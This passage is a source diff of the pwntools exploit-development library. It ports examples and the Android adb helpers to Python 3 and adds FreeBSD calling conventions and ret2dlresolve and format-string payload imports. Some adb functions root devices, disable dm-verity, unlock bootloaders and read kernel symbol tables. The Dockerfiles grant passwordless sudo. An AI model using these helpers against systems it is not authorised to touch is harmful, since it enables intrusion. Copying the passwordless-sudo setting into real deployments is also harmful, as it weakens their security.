-             'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
+             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/spinners.py

@@ -10,9 +10,9 @@ n = 1
 h = log.waitfor('spinners running', status = str(n))
 
 hs = []
-print 'type "q" to quit'
+print('type "q" to quit')
 while True:
-    s = raw_input('> ')
+    s = str_input('> ').strip()
     if s == 'q':
         break
     hs.append(log.waitfor(s, status = 'running'))

examples/splash.py

@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")
 
 while True:
-    l = raw_input('> ')
+    l = str_input('> ').strip()
     h.status(l.upper())

examples/ssh.py

@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
 tube = shell.run('cat')
 tube.send("Hello, cat")
 tube.shutdown("out")
-print tube.recvall()
+print(tube.recvall())
 
 # Show automatic working directories
 shell.set_working_directory()
@@ -29,12 +29,12 @@ int main() {
 
 shell.gcc(['example.c','-o','example'])
 
-print shell['./example']
+print(shell['./example'])
 
 # Show the different styles of calling
-print shell.echo("single string")
-print shell.echo(["list","of","strings"])
-print shell["echo single statement"]
+print(shell.echo("single string"))
+print(shell.echo(["list","of","strings"]))
+print(shell["echo single statement"])
 
 # Show off the interactive shell
 shell.interactive()

examples/text.py

@@ -12,8 +12,8 @@ and::
 from pwn import *
 
 s = 'hello from pwntools'
-print text.black_on_green(s)
-print text.black_on_bright_green(s)
-print text.green_on_black(s)
-print text.bright_green_on_black(s)
-print text.bold_green_on_black(s)
+print(text.black_on_green(s))
+print(text.black_on_bright_green(s))
+print(text.green_on_black(s))
+print(text.bright_green_on_black(s))
+print(text.bold_green_on_black(s))

examples/yesno.py

@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
 from pwn import *
 
 if ui.yesno('Do you like Pwntools?'):
-    print ':D'
+    print(':D')
 else:
-    print ':('
+    print(':(')

extra/docker/kali/Dockerfile

@@ -6,21 +6,21 @@
 FROM kalilinux/kali-linux-docker
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/precise/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:precise
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/trusty/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:trusty
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/xenial/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:xenial
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

pwn/toplevel.py

@@ -21,7 +21,7 @@ import pwnlib
 from pwnlib import *
 from pwnlib.asm import *
 from pwnlib.context import Thread
-from pwnlib.context import context
+from pwnlib.context import context, LocalContext
 from pwnlib.dynelf import DynELF
 from pwnlib.encoders import *
 from pwnlib.elf.corefile import Core, Corefile, Coredump
@@ -29,20 +29,24 @@ from pwnlib.elf.elf import ELF, load
 from pwnlib.encoders import *
 from pwnlib.exception import PwnlibException
 from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
+from pwnlib.filepointer import *
 from pwnlib.flag import *
-from pwnlib.fmtstr import FmtStr, fmtstr_payload
+from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
 from pwnlib.log import getLogger
 from pwnlib.memleak import MemLeak, RelativeMemLeak
 from pwnlib.regsort import *
 from pwnlib.replacements import *
 from pwnlib.rop import ROP
 from pwnlib.rop.srop import SigreturnFrame
+from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
 from pwnlib.runner import *
+from pwnlib.term.readline import str_input
 from pwnlib.timeout import Timeout
 from pwnlib.tubes.listen import listen
 from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
 from pwnlib.tubes.remote import remote, tcp, udp, connect
 from pwnlib.tubes.serialtube import serialtube
+from pwnlib.tubes.server import server
 from pwnlib.tubes.ssh import ssh
 from pwnlib.tubes.tube import tube
 from pwnlib.ui import *
@@ -66,15 +70,8 @@ from pwnlib.util.web import *
 
 # Promote these modules, so that "from pwn import *" will let you access them
 
-try:
-    import cPickle as pickle
-except ImportError:
-    import pickle
-
-try:
-    from cStringIO import StringIO
-except ImportError:
-    from StringIO import StringIO
+from six.moves import cPickle as pickle, cStringIO as StringIO
+from six import BytesIO
 
 error   = log.error
 warning = log.warning
@@ -82,3 +79,5 @@ warn    = log.warning
 info    = log.info
 debug   = log.debug
 success = log.success
+
+__all__ = [x for x in globals().keys() if x != '__name__']

pwnlib/abi.py

@@ -1,5 +1,6 @@
 # -*- coding: utf-8 -*-
 from __future__ import absolute_import
+from __future__ import division
 
 from pwnlib.context import LocalContext
 from pwnlib.context import context
@@ -45,10 +46,18 @@ class ABI(object):
         (32, 'arm', 'linux'):   linux_arm,
         (32, 'thumb', 'linux'):   linux_arm,
         (32, 'mips', 'linux'):   linux_mips,
-        (32, 'i386', 'windows'):  windows_i386,
-        (64, 'amd64', 'windows'): windows_amd64,
         (32, 'powerpc', 'linux'): linux_ppc,
         (64, 'powerpc', 'linux'): linux_ppc64,
+        (32, 'i386', 'freebsd'):  freebsd_i386,
+        (64, 'aarch64', 'freebsd'): freebsd_aarch64,
+        (64, 'amd64', 'freebsd'): freebsd_amd64,
+        (32, 'arm', 'freebsd'):   freebsd_arm,
+        (32, 'thumb', 'freebsd'):   freebsd_arm,
+        (32, 'mips', 'freebsd'):   freebsd_mips,
+        (32, 'powerpc', 'freebsd'): freebsd_ppc,
+        (64, 'powerpc', 'freebsd'): freebsd_ppc64,
+        (32, 'i386', 'windows'):  windows_i386,
+        (64, 'amd64', 'windows'): windows_amd64,
         }[(context.bits, context.arch, context.os)]
 
     @staticmethod
@@ -67,6 +76,15 @@ class ABI(object):
         (64, 'aarch64', 'linux'):   linux_aarch64_syscall,
         (32, 'powerpc', 'linux'): linux_ppc_syscall,
         (64, 'powerpc', 'linux'): linux_ppc64_syscall,
+        (32, 'i386', 'freebsd'):  freebsd_i386_syscall,
+        (64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
+        (64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
+        (32, 'arm', 'freebsd'):   freebsd_arm_syscall,
+        (32, 'thumb', 'freebsd'):   freebsd_arm_syscall,
+        (32, 'mips', 'freebsd'):   freebsd_mips_syscall,
+        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_syscall,
+        (32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
+        (64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
         }[(context.bits, context.arch, context.os)]
 
     @staticmethod
@@ -81,6 +99,11 @@ class ABI(object):
         (32, 'arm', 'linux'):   linux_arm_sigreturn,
         (32, 'thumb', 'linux'):   linux_arm_sigreturn,
         (64, 'aarch64', 'linux'):   linux_aarch64_sigreturn,
+        (32, 'i386', 'freebsd'):  freebsd_i386_sigreturn,
+        (64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
+        (32, 'arm', 'freebsd'):   freebsd_arm_sigreturn,
+        (32, 'thumb', 'freebsd'):   freebsd_arm_sigreturn,
+        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_sigreturn,
         }[(context.bits, context.arch, context.os)]
 
 class SyscallABI(ABI):
@@ -101,6 +124,7 @@ class SigreturnABI(SyscallABI):
     returns = False
 
 
+# System V ABI used by many UNIXes
 linux_i386   = ABI('esp', [], 4, 0)
 linux_amd64  = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
 linux_arm    = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
@@ -109,6 +133,14 @@ linux_mips  = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
 linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
 linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
 
+sysv_i386 = linux_i386
+sysv_amd64 = linux_amd64
+sysv_arm = linux_arm
+sysv_aarch64 = linux_aarch64
+sysv_mips = linux_mips
+sysv_ppc = linux_ppc
+sysv_ppc64 = linux_ppc64
+
 linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
 linux_amd64_syscall = SyscallABI('rsp', ['rax', 'rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'],   8, 0)
 linux_arm_syscall   = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6'], 4, 0)
@@ -122,10 +154,31 @@ linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 4, 0)
 linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
 linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
 
+sysv_i386_sigreturn = linux_i386_sigreturn
+sysv_amd64_sigreturn = linux_amd64_sigreturn
+sysv_arm_sigreturn = linux_arm_sigreturn
+sysv_aarch64_sigreturn = linux_aarch64_sigreturn
+
+freebsd_i386 = sysv_i386
+freebsd_amd64 = sysv_amd64
+freebsd_arm = sysv_arm
+freebsd_aarch64 = sysv_aarch64
+freebsd_mips = sysv_mips
+freebsd_ppc = sysv_ppc
+freebsd_ppc64 = sysv_ppc64
+
+freebsd_i386_syscall   = SyscallABI('esp', ['eax'], 4, 0)
+freebsd_amd64_syscall  = SyscallABI('rsp', ['rax','rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
+freebsd_arm_syscall    = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3'], 8, 0)
+freebsd_aarch64_syscall = SyscallABI('sp', ['x8', 'x0', 'x1', 'x2', 'x3'], 16, 0)
+freebsd_mips_syscall  = SyscallABI('$sp', ['$v0','$a0','$a1','$a2','$a3'], 4, 0)
+freebsd_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
+freebsd_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
+
+freebsd_i386_sigreturn = sysv_i386_sigreturn
+freebsd_amd64_sigreturn = sysv_amd64_sigreturn
+freebsd_arm_sigreturn = sysv_arm_sigreturn
+freebsd_aarch64_sigreturn = sysv_aarch64_sigreturn
+
 windows_i386  = ABI('esp', [], 4, 0)
 windows_amd64 = ABI('rsp', ['rcx','rdx','r8','r9'], 32, 32)
-
-# Fake ABIs used by SROP
-linux_i386_srop = ABI('esp', ['eax'], 4, 0)
-linux_amd64_srop = ABI('rsp', ['rax'], 4, 0)
-linux_arm_srop = ABI('sp', ['r7'], 4, 0)

pwnlib/adb/__init__.py

@@ -2,3 +2,5 @@ from __future__ import absolute_import
 
 from pwnlib.adb.adb import *
 from pwnlib.adb.protocol import Client
+from pwnlib.adb.bootimg import BootImage
+from pwnlib.adb.bootloader import BootloaderImage

pwnlib/adb/adb.py

@@ -35,25 +35,26 @@ the :mod:`pwnlib.adb` module.
 .. code-block:: python
 
     # Get a process listing
-    print adb.process(['ps']).recvall()
+    print(adb.process(['ps']).recvall())
 
     # Fetch properties
-    print adb.properties.ro.build.fingerprint
+    print(adb.properties.ro.build.fingerprint)
 
     # Read and write files
-    print adb.read('/proc/version')
+    print(adb.read('/proc/version'))
     adb.write('/data/local/tmp/foo', 'my data')
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import functools
 import glob
 import logging
 import os
-import platform
 import re
 import shutil
+import six
 import stat
 import tempfile
 import time
@@ -74,10 +75,12 @@ log = getLogger(__name__)
 def adb(argv, *a, **kw):
     r"""Returns the output of an ADB subcommand.
 
-    >>> adb.adb(['get-serialno'])
-    'emulator-5554\n'
+    >>> adb.adb('get-serialno')
+    b'emulator-5554\n'
+    >>> adb.adb(['shell', 'uname']) # it is better to use adb.process
+    b'Linux\n'
     """
-    if isinstance(argv, (str, unicode)):
+    if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
 
     log.debug("$ " + ' '.join(context.adb + argv))
@@ -114,7 +117,7 @@ def current_device(any=False):
 
         >>> device = adb.current_device(any=True)
         >>> device
-        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_phone_armv7', model='sdk phone armv7', device='generic')
+        AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_google_phone_armv7', model='sdk google phone armv7', device='generic')
         >>> device.port
         'emulator'
     """
@@ -197,6 +200,10 @@ def uptime():
 
     Returns:
         Uptime of the device, in seconds
+
+    Example:
+        >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
+        True
     """
     up, idle = map(float, read('/proc/uptime').split())
     return up
@@ -208,10 +215,15 @@ def boot_time():
     Returns:
         Boot time of the device, in Unix time, rounded to the
         nearest second.
+
+    Example:
+        >>> import time
+        >>> adb.boot_time() < time.time()
+        True
     """
     for line in read('/proc/stat').splitlines():
         name, value = line.split(None, 1)
-        if name == 'btime':
+        if name == b'btime':
             return int(value)
 
 class AdbDevice(Device):
@@ -227,7 +239,7 @@ class AdbDevice(Device):
         >>> device.os
         'android'
         >>> device.product
-        'sdk_phone_armv7'
+        'sdk_google_phone_armv7'
         >>> device.serial
         'emulator-5554'
     """
@@ -276,7 +288,7 @@ class AdbDevice(Device):
             return
 
         with context.local(device=self.serial):
-            abi = str(properties.ro.product.cpu.abi)
+            abi = getprop('ro.product.cpu.abi')
             context.clear()
             context.arch = str(abi)
             self._arch = context.arch
@@ -355,7 +367,6 @@ class AdbDevice(Device):
 
             if name not in g:
                 raise AttributeError('%r object has no attribute %r' % (type(self).__name__,name))
-
             value = g[name]
 
         if not hasattr(value, '__call__'):
@@ -415,7 +426,7 @@ def wait_for_device(kick=False):
 @with_device
 def disable_verity():
     """Disables dm-verity on the device."""
-    with log.waitfor("Disabling dm-verity on %s" % context.device) as w:
+    with log.waitfor("Disabling dm-verity on %s" % context.device):
         root()
 
         with AdbClient() as c:
@@ -433,7 +444,7 @@ def disable_verity():
 @with_device
 def remount():
     """Remounts the filesystem as writable."""
-    with log.waitfor("Remounting filesystem on %s" % context.device) as w:
+    with log.waitfor("Remounting filesystem on %s" % context.device):
         disable_verity()
         root()
 
@@ -486,7 +497,7 @@ def pull(remote_path, local_path=None):
     Example:
 
         >>> _=adb.pull('/proc/version', './proc-version')
-        >>> print read('./proc-version') # doctest: +ELLIPSIS
+        >>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
     """
     if local_path is None:
@@ -520,7 +531,7 @@ def push(local_path, remote_path):
         >>> adb.push('./filename', '/data/local/tmp')
         '/data/local/tmp/filename'
         >>> adb.read('/data/local/tmp/filename')
-        'contents'
+        b'contents'
         >>> adb.push('./filename', '/does/not/exist')
         Traceback (most recent call last):
         ...
@@ -573,7 +584,7 @@ def read(path, target=None, callback=None):
 
     Examples:
 
-        >>> print adb.read('/proc/version') # doctest: +ELLIPSIS
+        >>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
         >>> adb.read('/does/not/exist')
         Traceback (most recent call last):
@@ -593,7 +604,7 @@ def read(path, target=None, callback=None):
 
 @context.quietfunc
 @with_device
-def write(path, data=''):
+def write(path, data=b''):
     """Create a file on the device with the provided contents.
 
     Arguments:
@@ -602,7 +613,7 @@ def write(path, data=''):
 
     Examples:
 
-        >>> adb.write('/dev/null', 'data')
+        >>> adb.write('/dev/null', b'data')
         >>> adb.write('/data/local/tmp/')
     """
     with tempfile.NamedTemporaryFile() as temp:
@@ -650,7 +661,7 @@ def mkdir(path):
 
         # Any output at all is an error
         if result:
-            log.error(result)
+            log.error(result.rstrip().decode('utf-8'))
 
 @context.quietfunc
 @with_device
@@ -662,9 +673,9 @@ def makedirs(path):
 
     Examples:
 
-        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
+        >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
         >>> adb.listdir('/data/local/tmp/this/is/a/directory')
-        ['heirarchy']
+        ['hierarchy']
     """
     if path != '/':
         makedirs(os.path.dirname(path))
@@ -680,7 +691,7 @@ def exists(path):
 
         >>> adb.exists('/')
         True
-        >>> adb.exists('/init')
+        >>> adb.exists('/etc/hosts')
         True
         >>> adb.exists('/does/not/exist')
         False
@@ -746,12 +757,12 @@ def unlink(path, recursive=False):
         if isdir(path) and c.list(path) and not recursive:
             log.error("Cannot delete non-empty directory %r without recursive=True" % path)
 
-        flags = '-rf' if recursive else '-r'
+        flags = '-rf' if recursive else '-f'
 
         output = c.execute(['rm', flags, path]).recvall()
 
         if output:
-            log.error(output)
+            log.error(output.decode('utf-8'))
 
 @with_device
 def process(argv, *a, **kw):
@@ -765,10 +776,10 @@ def process(argv, *a, **kw):
     Examples:
 
         >>> adb.root()
-        >>> print adb.process(['cat','/proc/version']).recvall() # doctest: +ELLIPSIS
+        >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
     """
-    if isinstance(argv, (str, unicode)):
+    if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
 
     message = "Starting %s process %r" % ('Android', argv[0])
@@ -820,10 +831,12 @@ echo $PATH | while read -d: directory; do
     [ -x "$directory/{name}" ] || continue;
     echo -n "$directory/{name}\\x00";
 done
+[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
 '''.format(name=name)
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
+    data = context._decode(data)
     result = []
 
     for path in data.split('\x00'):
@@ -846,13 +859,19 @@ done
 
 @with_device
 def whoami():
+    """Returns current shell user
+
+    Example:
+       >>> adb.whoami()
+       b'root'
+    """
     return process(['sh','-ic','echo $USER']).recvall().strip()
 
 @with_device
 def forward(port):
     """Sets up a port to forward to the device."""
     tcp_port = 'tcp:%s' % port
-    start_forwarding = adb(['forward', tcp_port, tcp_port])
+    adb(['forward', tcp_port, tcp_port])
     atexit.register(lambda: adb(['forward', '--remove', tcp_port]))
 
 @context.quietfunc
@@ -880,13 +899,25 @@ def logcat(stream=False):
 def pidof(name):
     """Returns a list of PIDs for the named process."""
     with context.quiet:
-        io = process(['pidof', name])
-        data = io.recvall().split()
-    return list(map(int, data))
+        # Older devices have a broken 'pidof', apparently.
+        # Try pgrep first.
+        io = process(['pgrep', name])
+        data = io.recvall()
+
+        if 'not found' in data:
+            io = process(['pidof', name])
+            data = io.recvall()
+
+    return list(map(int, data.split()))
 
 @with_device
 def proc_exe(pid):
-    """Returns the full path of the executable for the provided PID."""
+    """Returns the full path of the executable for the provided PID.
+
+    Example:
+        >>> adb.proc_exe(1)
+        b'/init'
+    """
     with context.quiet:
         io  = process(['realpath','/proc/%d/exe' % pid])
         data = io.recvall().strip()
@@ -902,18 +933,23 @@ def getprop(name=None):
     Returns:
         If ``name`` is not specified, a ``dict`` of all properties is returned.
         Otherwise, a string is returned with the contents of the named property.
+
+    Example:
+        >>> adb.getprop() # doctest: +ELLIPSIS
+        {...}
     """
     with context.quiet:
         if name:
-            return process(['getprop', name]).recvall().strip()
-
+            result = process(['getprop', name]).recvall().strip()
+            result = context._decode(result)
+            return result
 
         result = process(['getprop']).recvall()
 
+    result = context._decode(result)
     expr = r'\[([^\]]+)\]: \[(.*)\]'
 
     props = {}
-
     for line in result.splitlines():
         if not line.startswith('['):
             continue
@@ -944,7 +980,7 @@ def listdir(directory='/'):
         Otherwise, less files may be returned due to restrictive SELinux
         policies on adbd.
     """
-    return list(sorted(AdbClient().list(directory)))
+    return sorted(AdbClient().list(directory))
 
 @with_device
 def fastboot(args, *a, **kw):
@@ -959,17 +995,17 @@ def fastboot(args, *a, **kw):
 @with_device
 def fingerprint():
     """Returns the device build fingerprint."""
-    return str(properties.ro.build.fingerprint)
+    return getprop('ro.build.fingerprint')
 
 @with_device
 def product():
     """Returns the device product identifier."""
-    return str(properties.ro.build.product)
+    return getprop('ro.build.product')
 
 @with_device
 def build():
     """Returns the Build ID of the device."""
-    return str(properties.ro.build.id)
+    return getprop('ro.build.id')
 
 @with_device
 @no_emulator
@@ -979,15 +1015,44 @@ def unlock_bootloader():
     Note:
         This requires physical interaction with the device.
     """
-    AdbClient().reboot_bootloader()
-    fastboot(['oem', 'unlock'])
-    fastboot(['continue'])
+    w = log.waitfor("Unlocking bootloader")
+    with w:
+        if getprop('ro.oem_unlock_supported') == '0':
+            log.error("Bootloader cannot be unlocked: ro.oem_unlock_supported=0")
+
+        if getprop('ro.boot.oem_unlock_support') == '0':
+            log.error("Bootloader cannot be unlocked: ro.boot.oem_unlock_support=0")
+
+        if getprop('sys.oem_unlock_allowed') == '0':
+            log.error("Bootloader cannot be unlocked: Enable OEM Unlock in developer settings first", context.device)
+
+        AdbClient().reboot_bootloader()
+
+        # Check to see if it's unlocked before attempting unlock
+        unlocked = fastboot(['getvar', 'unlocked'])
+        if 'unlocked: yes' in unlocked:
+            w.success("Already unlocked")
+            fastboot(['continue'])
+            return
+
+        fastboot(['oem', 'unlock'])
+        unlocked = fastboot(['getvar', 'unlocked'])
+
+        fastboot(['continue'])
+
+        if 'unlocked: yes' not in unlocked:
+            log.error("Unlock failed")
 
 class Kernel(object):
     _kallsyms = None
 
     @property
     def address(self):
+        """Returns kernel address
+        Example:
+            >>> hex(adb.kernel.address) # doctest: +ELLIPSIS
+            '0x...000'
+        """
         return self.symbols['_text']
 
     @property
@@ -1010,7 +1075,7 @@ class Kernel(object):
             self._kallsyms = {}
             root()
             write('/proc/sys/kernel/kptr_restrict', '1')
-            self._kallsyms = read('/proc/kallsyms')
+            self._kallsyms = read('/proc/kallsyms').decode('ascii')
         return self._kallsyms
 
     @property
@@ -1038,7 +1103,7 @@ class Kernel(object):
 
     def enable_uart(self):
         """Reboots the device with kernel logging to the UART enabled."""
-        model = str(properties.ro.product.model)
+        model = getprop('ro.product.model')
 
         known_commands = {
             'Nexus 4': None,
@@ -1049,7 +1114,7 @@ class Kernel(object):
             'Nexus 7': 'oem uart-on',
         }
 
-        with log.waitfor('Enabling kernel UART') as w:
+        with log.waitfor('Enabling kernel UART'):
 
             if model not in known_commands:
                 log.error("Device UART is unsupported.")
@@ -1086,15 +1151,15 @@ kernel = Kernel()
 
 class Property(object):
     def __init__(self, name=None):
+        # Need to avoid overloaded setattr() so we go through __dict__
         self.__dict__['_name'] = name
 
     def __str__(self):
-        return getprop(self._name).strip()
-
-    def __repr__(self):
-        return repr(str(self))
+        return str(getprop(self._name)).strip()
 
     def __getattr__(self, attr):
+        if attr.startswith('_'):
+            raise AttributeError(attr)
         if self._name:
             attr = '%s.%s' % (self._name, attr)
         return Property(attr)
@@ -1107,6 +1172,21 @@ class Property(object):
             attr = '%s.%s' % (self._name, attr)
         setprop(attr, value)
 
+    def __eq__(self, other):
+        """Allow simple comparison
+
+        Example:
+            >>> adb.properties.ro.build.version.sdk == "24"
+            True
+        """
+        if isinstance(other, six.string_types):
+            return str(self) == other
+        return super(Property, self).__eq__(other)
+
+    def __hash__(self, other):
+        # Allow hash indices matching on the property
+        return hash(self._name)
+
 properties = Property()
 
 def _build_date():
@@ -1181,7 +1261,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
     return root
 
 def compile(source):
-    """Compile a source file or project with the Android NDK."""
+    r"""Compile a source file or project with the Android NDK.
+
+    Example:
+        >>> temp = tempfile.mktemp('.c')
+        >>> write(temp, '''
+        ... #include <stdio.h>
+        ... static char buf[4096];
+        ... int main() {
+        ...   FILE *fp = fopen("/proc/self/maps", "r");
+        ...   int n = fread(buf, 1, sizeof(buf), fp);
+        ...   fwrite(buf, 1, n, stdout);
+        ...   return 0;
+        ... }''')
+        >>> filename = adb.compile(temp)
+        >>> sent = adb.push(filename, "/data/local/tmp")
+        >>> adb.process(sent).recvall() # doctest: +ELLIPSIS
+        b'... /system/bin/linker\n...'
+    """
 
     ndk_build = misc.which('ndk-build')
     if not ndk_build:
@@ -1209,8 +1306,8 @@ def compile(source):
 
         # If we have an attached device, use its settings.
         if context.device:
-            abi = str(properties.ro.product.cpu.abi)
-            sdk = str(properties.ro.build.version.sdk)
+            abi = getprop('ro.product.cpu.abi')
+            sdk = getprop('ro.build.version.sdk')
 
         if abi is None:
             log.error("Unknown CPU ABI")
@@ -1228,7 +1325,7 @@ def compile(source):
     result = io.recvall()
 
     if 0 != io.poll():
-        log.error("Build failed:\n%s" % result)
+        log.error("Build failed:\n%s", result)
 
     # Find all of the output files
     output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1278,37 +1375,59 @@ def find(top, name):
 
 @with_device
 def readlink(path):
-    path = process(['readlink', path]).recvall()
+    path = process(['realpath', path]).recvall()
 
     # Readlink will emit a single newline
     # We can't use the '-n' flag since old versions don't support it
-    if path.endswith('\n'):
+    if path.endswith(b'\n'):
         path = path[:-1]
 
-    return path
+    return path.decode()
 
 class Partitions(object):
+    """Enable access to partitions
+
+    Example:
